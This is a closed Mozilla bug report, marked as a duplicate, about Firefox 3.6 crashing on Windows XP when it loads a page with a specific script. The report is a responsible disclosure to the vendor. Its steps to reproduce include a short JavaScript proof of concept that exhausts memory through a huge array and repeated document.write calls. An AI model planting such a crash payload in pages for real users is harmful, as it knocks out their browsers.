Closed Bug 607737 Opened 14 years ago Closed 14 years ago

Firefox crashes instantly when a html page with malicious javascript is launched

Categories

(Firefox :: Security, defect)

x86
Windows XP
defect
Not set
critical

Tracking

()

RESOLVED DUPLICATE of bug 609358

People

(Reporter: gauravgulati81, Unassigned)

Details

(Whiteboard: [sg:dos] dupeme)

Attachments

(1 file)

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 Firefox crashes instantly when a html page having a malicious javascript is launched. The test file is attached. Reproducible: Always Steps to Reproduce: 1. Create an html page having the following javascript: <script type="text/javascript"> var i; var a=new Array(999999); for (i=0;i<=999999;i++) { a[i]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; } for (i=0;i<=999999;i++) { document.write (a[i]); } </script> 2. Launch this html in Firefox Actual Results: The Browser crashes. Expected Results: The browser should not crash.
Group: core-security
Whiteboard: [sg:dos] dupeme
Status: UNCONFIRMED → RESOLVED
Closed: 14 years ago
Resolution: --- → DUPLICATE
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: